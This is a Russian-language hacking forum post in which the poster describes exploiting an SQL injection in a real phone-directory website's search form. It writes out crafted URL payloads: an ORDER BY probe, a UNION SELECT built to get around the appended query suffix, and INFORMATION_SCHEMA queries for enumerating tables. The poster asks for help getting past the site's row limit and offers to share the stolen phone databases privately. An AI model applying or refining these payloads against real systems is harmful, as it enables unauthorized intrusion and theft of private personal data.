Показать сообщение отдельно

  #3  
Старый 08.01.2016, 22:51
ArmusIAm
Guest
Сообщений: n/a
Провел на форуме:
7147

Репутация: 0
По умолчанию

Добрый вечер господа!

Буду признателен, если сможете мне подсказать.

Нашел SQL инъекцию на ресурсе (телефонный справочник), есть форма заполнения ФИО или номер телефона, собственно в ней и уязвимость.

Строка запроса получается так выглядит: /filename?fio=fio&telefon=123

Уязвимость присутствует в обоих переменных, при подставлении ' выходит следующее:

Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123'%' LIMIT 0, 10

Mistake


Пытаюсь раскрутить стандартным образом:

/filename?fio=fio&telefon=123%27+order+by+1--

В ответ получаю следующее:

Bad SQL-query:

SELECT SQL_CALC_FOUND_ROWS * FROM piter WHERE fio LIKE 'fio%' AND telefon LIKE '123' order by 1--%' LIMIT 0, 10

Mistake


Долго тупил, пробовал как то отбросить окончание запроса %' LIMIT 0, 10, которое автоматически подставлялось, но безуспешно.

Потом я осознал, что можно зайти несколько иным способом, поскольку подставляемое окончание запроса портило мне все карты, я разделил этот запрос, в конечном итоге прихожу к следующему запросу:

/filename?fio=&telefon=955448%27+union+select+1,2,3 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

Запрос прошел, отобразив мне выводимые поля, но я столкнулся с сложностью при переборе имен таблиц.

Ресурс выводит на страницу не более 10 записей из БД, иначе пишет, что найдено слишком много записей уточните запрос.

Но при составлении следующего запроса:

/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+union+SEL ECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

Получаю следующее:

По вашему запросу найдено слишком много результатов (286). Пожалуйста, уточните ваш запрос.Mistake

Я так понимаю, запрос проходит без ошибки, он выделять имена столбцов (следуя из ответа сервера их около 280), но сам PHP скрипт на сервере не дает вывести их, так как в PHP скрипте в цикле идет проверка на размер массива и если он более 10 элементов, выводит вышеописанную ошибку.

Казалось бы чего сложного, можно перебрать поштучно используя LIMIT:

/filename?fio=&telefon=955448%27+union+select+table _name,2,3+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1 +union+SELECT+*+FROM+piter+WHERE+fio+LIKE+%27-as

По логике он должен выбрать одну запись из БД и отобразить ее, но в ответ я получаю следующее:

По вашему запросу найдено слишком много результатов (319). Пожалуйста, уточните ваш запрос.Mistake

Кол-во выбранных записей из БД не то что бы уменьшилось, а наоборот даже несколько увеличилось. Подскажите, где я ошибаюсь?

п.с.

К сожалению сам ресурс с уязвимостью в открытую палить не хочу, но если кому интересны телефонные базы, пишите в личку поделюсь всей инфой

Коллеги, заранее благодарен!!)
 
Ответить с цитированием